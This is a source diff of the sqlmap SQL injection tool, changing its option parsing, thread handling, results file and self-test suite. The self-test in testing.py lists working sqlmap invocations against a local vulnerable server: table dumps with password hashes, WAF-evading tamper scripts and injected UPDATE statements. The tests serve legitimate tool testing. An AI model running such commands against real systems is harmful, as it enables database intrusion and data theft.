-FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException")
+FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException", "Arguments are of the wrong type")
 
 # Regular expression used for extracting ASP.NET view state values
 VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)'
@@ -807,9 +823,6 @@ BRUTE_DOC_ROOT_PREFIXES = {
     OS.WINDOWS: ("/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/apache", "/Program Files/Apache Group/Apache", "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2", "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%")
 }
 
-# Table prefix to use in "takeover" functionalities (i.e. auxiliary tables used by sqlmap at the vulnerable DBMS)
-TAKEOVER_TABLE_PREFIX = "sqlmap"
-
 # Suffixes used in brute force search for web server document root
 BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "www", "data", "sites/all", "www/build")
 

lib/core/subprocessng.py

@@ -13,6 +13,7 @@ import subprocess
 import time
 
 from lib.core.compat import buffer
+from lib.core.convert import getBytes
 from lib.core.settings import IS_WIN
 
 if IS_WIN:
@@ -192,6 +193,8 @@ def send_all(p, data):
     if not data:
         return
 
+    data = getBytes(data)
+
     while len(data):
         sent = p.send(data)
         if not isinstance(sent, int):

lib/core/target.py

@@ -125,8 +125,8 @@ def _setRequestParams():
             return retVal
 
         if kb.processUserMarks is None and kb.customInjectionMark in conf.data:
-            message = "custom injection marker ('%s') found in option " % kb.customInjectionMark
+            message = "custom injection marker ('%s') found in POST " % kb.customInjectionMark
-            message += "'--data'. Do you want to process it? [Y/n/q] "
+            message += "body. Do you want to process it? [Y/n/q] "
             choice = readInput(message, default='Y').upper()
 
             if choice == 'Q':
@@ -151,12 +151,13 @@ def _setRequestParams():
                     conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*".+?)"(?<!\\")', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
                     conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
                     conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
-                    match = re.search(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data)
+                    for match in re.finditer(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data):
-                    if match and not (conf.testParameter and match.group("name") not in conf.testParameter):
+                        if not (conf.testParameter and match.group("name") not in conf.testParameter):
-                        _ = match.group(2)
+                            _ = match.group(2)
-                        _ = re.sub(r'("[^"]+)"', r'\g<1>%s"' % kb.customInjectionMark, _)
+                            if kb.customInjectionMark not in _:  # Note: only for unprocessed (simple) forms - i.e. non-associative arrays (e.g. [1,2,3])
-                        _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
+                                _ = re.sub(r'("[^"]+)"', r'\g<1>%s"' % kb.customInjectionMark, _)
-                        conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))
+                                _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
+                                conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))
 
                 kb.postHint = POST_HINT.JSON
 
@@ -256,6 +257,9 @@ def _setRequestParams():
             kb.processUserMarks = True
 
     for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))):
+        if place == PLACE.CUSTOM_HEADER and any((conf.forms, conf.crawlDepth)):
+            continue
+
         _ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or "") if place == PLACE.CUSTOM_HEADER else value or ""
         if kb.customInjectionMark in _:
             if kb.processUserMarks is None:
@@ -560,16 +564,18 @@ def _setResultsFile():
         return
 
     if not conf.resultsFP:
-        conf.resultsFilename = os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower())
+        conf.resultsFile = conf.resultsFile or os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower())
+        found = os.path.exists(conf.resultsFile)
+
         try:
-            conf.resultsFP = openFile(conf.resultsFilename, "a", UNICODE_ENCODING, buffering=0)
+            conf.resultsFP = openFile(conf.resultsFile, "a", UNICODE_ENCODING, buffering=0)
         except (OSError, IOError) as ex:
             try:
-                warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFilename, getUnicode(ex))
+                warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFile, getUnicode(ex))
-                handle, conf.resultsFilename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv")
+                handle, conf.resultsFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv")
                 os.close(handle)
-                conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0)
+                conf.resultsFP = openFile(conf.resultsFile, "w+", UNICODE_ENCODING, buffering=0)
-                warnMsg += "Using temporary file '%s' instead" % conf.resultsFilename
+                warnMsg += "Using temporary file '%s' instead" % conf.resultsFile
                 logger.warn(warnMsg)
             except IOError as _:
                 errMsg = "unable to write to the temporary directory ('%s'). " % _
@@ -578,9 +584,10 @@ def _setResultsFile():
                 errMsg += "create temporary files and/or directories"
                 raise SqlmapSystemException(errMsg)
 
-        conf.resultsFP.writelines("Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep)
+        if not found:
+            conf.resultsFP.writelines("Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep)
 
-        logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFilename)
+        logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFile)
 
 def _createFilesDir():
     """

lib/core/testing.py

@@ -14,6 +14,8 @@ import os
 import random
 import re
 import shutil
+import socket
+import sqlite3
 import sys
 import tempfile
 import threading
@@ -31,6 +33,7 @@ from lib.core.common import readXmlFile
 from lib.core.common import shellExec
 from lib.core.compat import round
 from lib.core.compat import xrange
+from lib.core.convert import encodeBase64
 from lib.core.convert import getUnicode
 from lib.core.data import conf
 from lib.core.data import kb
@@ -61,8 +64,34 @@ def vulnTest():
     Runs the testing against 'vulnserver'
     """
 
+    TESTS = (
+        (u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'",)),
+        (u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape", (u": '\u0161u\u0107uraj'",)),
+        ("--list-tampers", ("between", "MySQL", "xforwardedfor")),
+        ("-r <request> --flush-session -v 5", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar")),
+        ("-l <log> --flush-session --skip-waf -v 3 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell")),
+        ("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
+        ("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
+        ("-u <url> --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
+        ("-u <url> --flush-session -H 'Foo: Bar' -H 'Sna: Fu' --data='<root><param name=\"id\" value=\"1*\"/></root>' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
+        ("-u <url> --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")),
+        ("-u <url> --flush-session -H 'id: 1*' --tables", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
+        ("-u <url> --flush-session --banner --invalid-logical --technique=B --test-filter='OR boolean' --tamper=space2dash", ("banner: '3.", " LIKE ")),
+        ("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
+        ("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner", ("NULL connection is supported with HEAD method", "banner: '3.")),
+        ("-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")),
+        ("-u <url> --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")),
+        ("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --answer=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary")),
+        ("-u <url> --flush-session --all", ("5 entries", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
+        ("-u <url> -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")),
+        ("-u '<url>&echo=foobar*' --flush-session", ("might be vulnerable to cross-site scripting",)),
+        ("-u '<url>&query=*' --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
+        ("-d <direct> --flush-session --dump -T users --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)",)),
+        ("-d <direct> --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5, foobar, nameisnull", "[*] 987654321",)),
+    )
+
     retVal = True
-    count, length = 0, 6
+    count = 0
     address, port = "127.0.0.10", random.randint(1025, 65535)
 
     def _thread():
@@ -73,25 +102,48 @@ def vulnTest():
     thread.daemon = True
     thread.start()
 
-    for options, checks in (
+    while True:
-        ("--flush-session", ("CloudFlare",)),
+        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-        ("--flush-session --parse-errors --eval=\"id2=2\" --referer=\"localhost\" --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e\"", (": syntax error", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "back-end DBMS: SQLite", "3 columns")),
+        try:
-        ("--banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")),
+            s.connect((address, port))
-        ("--all --tamper=between,randomcase", ("5 entries", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
+            break
-        ("-z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT 987654321\"", ("length of query output", ": '987654321'",)),
+        except:
-        ("--technique=T --fresh-queries --sql-query=\"SELECT 1234\"", (": '1234'",)),
+            time.sleep(1)
-    ):
+
-        cmd = "%s %s -u http://%s:%d/?id=1 --batch %s" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), address, port, options)
+    handle, database = tempfile.mkstemp(suffix=".sqlite")
+    os.close(handle)
+
+    with sqlite3.connect(database) as conn:
+        c = conn.cursor()
+        c.executescript(vulnserver.SCHEMA)
+
+    handle, request = tempfile.mkstemp(suffix=".req")
+    os.close(handle)
+
+    handle, log = tempfile.mkstemp(suffix=".log")
+    os.close(handle)
+
+    content = "POST / HTTP/1.0\nUser-agent: foobar\nHost: %s:%s\n\nid=1\n" % (address, port)
+
+    open(request, "w+").write(content)
+    open(log, "w+").write('<port>%d</port><request base64="true"><![CDATA[%s]]></request>' % (port, encodeBase64(content, binary=False)))
+
+    url = "http://%s:%d/?id=1" % (address, port)
+    direct = "sqlite3://%s" % database
+
+    for options, checks in TESTS:
+        status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
+        dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
+
+        cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request).replace("<log>", log))
         output = shellExec(cmd)
 
-        if not all(check in output for check in checks):
+        if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks):
             dataToStdout("---\n\n$ %s\n" % cmd)
             dataToStdout("%s---\n" % clearColors(output))
             retVal = False
 
         count += 1
-        status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length))
-        dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
 
     clearConsoleLine()
     if retVal:

lib/core/threads.py

@@ -73,6 +73,10 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
     # It will be overwritten by original from lib.core.common
     pass
 
+def isDigit(value):
+    # It will be overwritten by original from lib.core.common
+    pass
+
 def getCurrentThreadData():
     """
     Returns current thread's local data
@@ -97,11 +101,11 @@ def exceptionHandledFunction(threadFunction, silent=False):
     except Exception as ex:
         from lib.core.common import getSafeExString
 
-        if not silent and kb.get("threadContinue"):
+        if not silent and kb.get("threadContinue") and not isinstance(ex, SqlmapUserQuitException):
             errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex))
             logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg))
 
-            if conf.get("verbose") > 1 and not isinstance(ex, (SqlmapUserQuitException, SqlmapConnectionException)):
+            if conf.get("verbose") > 1 and not isinstance(ex, SqlmapConnectionException):
                 traceback.print_exc()
 
 def setDaemon(thread):
@@ -114,20 +118,23 @@ def setDaemon(thread):
 def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True):
     threads = []
 
+    kb.multipleCtrlC = False
     kb.threadContinue = True
     kb.threadException = False
     kb.technique = ThreadData.technique
 
-    if threadChoice and numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)):
+    if threadChoice and conf.threads == numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)):
         while True:
             message = "please enter number of threads? [Enter for %d (current)] " % numThreads
             choice = readInput(message, default=str(numThreads))
             if choice:
                 skipThreadCheck = False
+
                 if choice.endswith('!'):
                     choice = choice[:-1]
                     skipThreadCheck = True
-                if choice.isdigit():
+
+                if isDigit(choice):
                     if int(choice) > MAX_NUMBER_OF_THREADS and not skipThreadCheck:
                         errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS
                         logger.critical(errMsg)
@@ -178,6 +185,12 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
         kb.threadContinue = False
         kb.threadException = True
 
+        if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1):
+            kb.multipleCtrlC = True
+            raise SqlmapUserQuitException("user aborted (Ctrl+C was pressed multiple times)")
+
+        kb.lastCtrlCTime = time.time()
+
         if numThreads > 1:
             logger.info("waiting for threads to finish%s" % (" (Ctrl+C was pressed)" if isinstance(ex, KeyboardInterrupt) else ""))
         try:
@@ -185,6 +198,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
                 pass
 
         except KeyboardInterrupt:
+            kb.multipleCtrlC = True
             raise SqlmapThreadException("user aborted (Ctrl+C was pressed multiple times)")
 
         if forwardException:
@@ -199,13 +213,15 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
             traceback.print_exc()
 
     except:
-        from lib.core.common import unhandledExceptionMessage
-
         print()
-        kb.threadException = True
+
-        errMsg = unhandledExceptionMessage()
+        if not kb.multipleCtrlC:
-        logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg))
+            from lib.core.common import unhandledExceptionMessage
-        traceback.print_exc()
+
+            kb.threadException = True
+            errMsg = unhandledExceptionMessage()
+            logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg))
+            traceback.print_exc()
 
     finally:
         kb.threadContinue = True

lib/core/update.py

@@ -105,6 +105,7 @@ def update():
 
         dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X"))
 
+        output = ""
         try:
             process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH)
             pollProcess(process, True)

lib/core/wordlist.py

@@ -42,7 +42,7 @@ class Wordlist(six.Iterator):
     def adjust(self):
         self.closeFP()
         if self.index > len(self.filenames):
-            raise StopIteration
+            return  # Note: https://stackoverflow.com/a/30217723 (PEP 479)
         elif self.index == len(self.filenames):
             self.iter = iter(self.custom)
         else:

lib/parse/cmdline.py

@@ -44,6 +44,26 @@ finally:
     def get_groups(parser):
         return getattr(parser, "option_groups", None) or getattr(parser, "_action_groups")
 
+    def get_all_options(parser):
+        retVal = set()
+
+        for option in get_actions(parser):
+            if hasattr(option, "option_strings"):
+                retVal.update(option.option_strings)
+            else:
+                retVal.update(option._long_opts)
+                retVal.update(option._short_opts)
+
+        for group in get_groups(parser):
+            for option in get_actions(group):
+                if hasattr(option, "option_strings"):
+                    retVal.update(option.option_strings)
+                else:
+                    retVal.update(option._long_opts)
+                    retVal.update(option._short_opts)
+
+        return retVal
+
 from lib.core.common import checkOldOptions
 from lib.core.common import checkSystemEncoding
 from lib.core.common import dataToStdout
@@ -101,18 +121,15 @@ def cmdLineParser(argv=None):
         # Target options
         target = parser.add_argument_group("Target", "At least one of these options has to be provided to define the target(s)")
 
-        target.add_argument("-d", dest="direct",
-            help="Connection string for direct database connection")
-
         target.add_argument("-u", "--url", dest="url",
             help="Target URL (e.g. \"http://www.site.com/vuln.php?id=1\")")
 
+        target.add_argument("-d", dest="direct",
+            help="Connection string for direct database connection")
+
         target.add_argument("-l", dest="logFile",
             help="Parse target(s) from Burp or WebScarab proxy log file")
 
-        target.add_argument("-x", dest="sitemapUrl",
-            help="Parse target(s) from remote sitemap(.xml) file")
-
         target.add_argument("-m", dest="bulkFile",
             help="Scan multiple targets given in a textual file ")
 
@@ -128,6 +145,12 @@ def cmdLineParser(argv=None):
         # Request options
         request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL")
 
+        request.add_argument("-A", "--user-agent", dest="agent",
+            help="HTTP User-Agent header value")
+
+        request.add_argument("-H", "--header", dest="header",
+            help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")")
+
         request.add_argument("--method", dest="method",
             help="Force usage of given HTTP method (e.g. PUT)")
 
@@ -149,8 +172,8 @@ def cmdLineParser(argv=None):
         request.add_argument("--drop-set-cookie", dest="dropSetCookie", action="store_true",
             help="Ignore Set-Cookie header from response")
 
-        request.add_argument("--user-agent", dest="agent",
+        request.add_argument("--mobile", dest="mobile", action="store_true",
-            help="HTTP User-Agent header value")
+            help="Imitate smartphone through HTTP User-Agent header")
 
         request.add_argument("--random-agent", dest="randomAgent", action="store_true",
             help="Use randomly selected HTTP User-Agent header value")
@@ -161,9 +184,6 @@ def cmdLineParser(argv=None):
         request.add_argument("--referer", dest="referer",
             help="HTTP Referer header value")
 
-        request.add_argument("-H", "--header", dest="header",
-            help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")")
-
         request.add_argument("--headers", dest="headers",
             help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")")
 
@@ -242,6 +262,9 @@ def cmdLineParser(argv=None):
         request.add_argument("--csrf-url", dest="csrfUrl",
             help="URL address to visit for extraction of anti-CSRF token")
 
+        request.add_argument("--csrf-method", dest="csrfMethod",
+            help="HTTP method to use during anti-CSRF token page visit")
+
         request.add_argument("--force-ssl", dest="forceSSL", action="store_true",
             help="Force usage of SSL/HTTPS")
 
@@ -344,6 +367,9 @@ def cmdLineParser(argv=None):
         detection.add_argument("--code", dest="code", type=int,
             help="HTTP code to match when query is evaluated to True")
 
+        detection.add_argument("--smart", dest="smart", action="store_true",
+            help="Perform thorough tests only if positive heuristic(s)")
+
         detection.add_argument("--text-only", dest="textOnly", action="store_true",
             help="Compare pages based only on the textual content")
 
@@ -384,7 +410,7 @@ def cmdLineParser(argv=None):
             help="Perform an extensive DBMS version fingerprint")
 
         # Enumeration options
-        enumeration = parser.add_argument_group("Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements")
+        enumeration = parser.add_argument_group("Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables")
 
         enumeration.add_argument("-a", "--all", dest="getAll", action="store_true",
             help="Retrieve everything")
@@ -585,6 +611,9 @@ def cmdLineParser(argv=None):
         general.add_argument("-t", dest="trafficFile",
             help="Log all HTTP traffic into a textual file")
 
+        general.add_argument("--answers", dest="answers",
+            help="Set predefined answers (e.g. \"quit=N,follow=N\")")
+
         general.add_argument("--batch", dest="batch", action="store_true",
             help="Never ask for user input, use the default behavior")
 
@@ -594,6 +623,9 @@ def cmdLineParser(argv=None):
         general.add_argument("--check-internet", dest="checkInternet", action="store_true",
             help="Check Internet connection before assessing the target")
 
+        general.add_argument("--cleanup", dest="cleanup", action="store_true",
+            help="Clean up the DBMS from sqlmap specific UDF and tables")
+
         general.add_argument("--crawl", dest="crawlDepth", type=int,
             help="Crawl the website starting from the target URL")
 
@@ -624,6 +656,9 @@ def cmdLineParser(argv=None):
         general.add_argument("--fresh-queries", dest="freshQueries", action="store_true",
             help="Ignore query results stored in session file")
 
+        general.add_argument("--gpage", dest="googlePage", type=int,
+            help="Use Google dork results from specified page number")
+
         general.add_argument("--har", dest="harFile",
             help="Log all HTTP traffic into a HAR file")
 
@@ -648,17 +683,23 @@ def cmdLineParser(argv=None):
         general.add_argument("--scope", dest="scope",
             help="Regexp to filter targets from provided proxy log")
 
+        general.add_argument("--skip-waf", dest="skipWaf", action="store_true",
+            help="Skip heuristic detection of WAF/IPS protection")
+
+        general.add_argument("--table-prefix", dest="tablePrefix",
+            help="Prefix used for temporary tables (default: \"%s\")" % defaults.tablePrefix)
+
         general.add_argument("--test-filter", dest="testFilter",
             help="Select tests by payloads and/or titles (e.g. ROW)")
 
         general.add_argument("--test-skip", dest="testSkip",
             help="Skip tests by payloads and/or titles (e.g. BENCHMARK)")
 
-        general.add_argument("--update", dest="updateAll", action="store_true",
+        general.add_argument("--web-root", dest="webRoot",
-            help="Update sqlmap")
+            help="Web server document root directory (e.g. \"/var/www\")")
 
         # Miscellaneous options
-        miscellaneous = parser.add_argument_group("Miscellaneous")
+        miscellaneous = parser.add_argument_group("Miscellaneous", "These options do not fit into any other category")
 
         miscellaneous.add_argument("-z", dest="mnemonics",
             help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")")
@@ -666,41 +707,26 @@ def cmdLineParser(argv=None):
         miscellaneous.add_argument("--alert", dest="alert",
             help="Run host OS command(s) when SQL injection is found")
 
-        miscellaneous.add_argument("--answers", dest="answers",
-            help="Set predefined answers (e.g. \"quit=N,follow=N\")")
-
         miscellaneous.add_argument("--beep", dest="beep", action="store_true",
             help="Beep on question and/or when SQL injection is found")
 
-        miscellaneous.add_argument("--cleanup", dest="cleanup", action="store_true",
-            help="Clean up the DBMS from sqlmap specific UDF and tables")
-
         miscellaneous.add_argument("--dependencies", dest="dependencies", action="store_true",
             help="Check for missing (optional) sqlmap dependencies")
 
         miscellaneous.add_argument("--disable-coloring", dest="disableColoring", action="store_true",
             help="Disable console output coloring")
 
-        miscellaneous.add_argument("--gpage", dest="googlePage", type=int,
-            help="Use Google dork results from specified page number")
-
         miscellaneous.add_argument("--list-tampers", dest="listTampers", action="store_true",
             help="Display list of available tamper scripts")
 
-        miscellaneous.add_argument("--mobile", dest="mobile", action="store_true",
-            help="Imitate smartphone through HTTP User-Agent header")
-
         miscellaneous.add_argument("--offline", dest="offline", action="store_true",
             help="Work in offline mode (only use session data)")
 
         miscellaneous.add_argument("--purge", dest="purge", action="store_true",
             help="Safely remove all content from sqlmap data directory")
 
-        miscellaneous.add_argument("--skip-waf", dest="skipWaf", action="store_true",
+        miscellaneous.add_argument("--results-file", dest="resultsFile",
-            help="Skip heuristic detection of WAF/IPS protection")
+            help="Location of CSV results file in multiple targets mode")
-
-        miscellaneous.add_argument("--smart", dest="smart", action="store_true",
-            help="Conduct thorough tests only if positive heuristic(s)")
 
         miscellaneous.add_argument("--sqlmap-shell", dest="sqlmapShell", action="store_true",
             help="Prompt for an interactive sqlmap shell")
@@ -708,8 +734,11 @@ def cmdLineParser(argv=None):
         miscellaneous.add_argument("--tmp-dir", dest="tmpDir",
             help="Local directory for storing temporary files")
 
-        miscellaneous.add_argument("--web-root", dest="webRoot",
+        miscellaneous.add_argument("--unstable", dest="unstable", action="store_true",
-            help="Web server document root directory (e.g. \"/var/www\")")
+            help="Adjust options for unstable connections")
+
+        miscellaneous.add_argument("--update", dest="updateAll", action="store_true",
+            help="Update sqlmap")
 
         miscellaneous.add_argument("--wizard", dest="wizard", action="store_true",
             help="Simple wizard interface for beginner users")
@@ -751,6 +780,9 @@ def cmdLineParser(argv=None):
         parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true",
             help=SUPPRESS)
 
+        parser.add_argument("--gui", dest="gui", action="store_true",
+            help=SUPPRESS)
+
         parser.add_argument("--smoke-test", dest="smokeTest", action="store_true",
             help=SUPPRESS)
 
@@ -818,7 +850,6 @@ def cmdLineParser(argv=None):
                     break
 
         _ = []
-        prompt = False
         advancedHelp = True
         extraHeaders = []
         tamperIndex = None
@@ -830,26 +861,23 @@ def cmdLineParser(argv=None):
         argv = _
         checkOldOptions(argv)
 
-        prompt = "--sqlmap-shell" in argv
+        if "--gui" in argv:
+            from lib.core.gui import runGui
+            runGui(parser)
 
-        if prompt:
+            if hasattr(parser, "_args"):
+                return parser._args
+
+        elif "--sqlmap-shell" in argv:
             _createHomeDirectories()
 
             parser.usage = ""
             cmdLineOptions.sqlmapShell = True
 
-            _ = ["x", "q", "exit", "quit", "clear"]
+            commands = set(("x", "q", "exit", "quit", "clear"))
+            commands.update(get_all_options(parser))
 
-            for option in get_actions(parser):
+            autoCompletion(AUTOCOMPLETE_TYPE.SQLMAP, commands=commands)
-                _.extend(option._long_opts)
-                _.extend(option._short_opts)
-
-            for group in get_groups(parser):
-                for option in get_actions(group):
-                    _.extend(option._long_opts)
-                    _.extend(option._short_opts)
-
-            autoCompletion(AUTOCOMPLETE_TYPE.SQLMAP, commands=_)
 
             while True:
                 command = None
@@ -884,8 +912,12 @@ def cmdLineParser(argv=None):
                 raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % getSafeExString(ex))
 
         for i in xrange(len(argv)):
+            longOptions = set(re.findall(r"\-\-([^= ]+?)=", parser.format_help()))
+            longSwitches = set(re.findall(r"\-\-([^= ]+?)\s", parser.format_help()))
             if argv[i] == "-hh":
                 argv[i] = "-h"
+            elif i == 1 and re.search(r"\A(http|www\.|\w[\w.-]+\.\w{2,})", argv[i]) is not None:
+                argv[i] = "--url=%s" % argv[i]
             elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])):
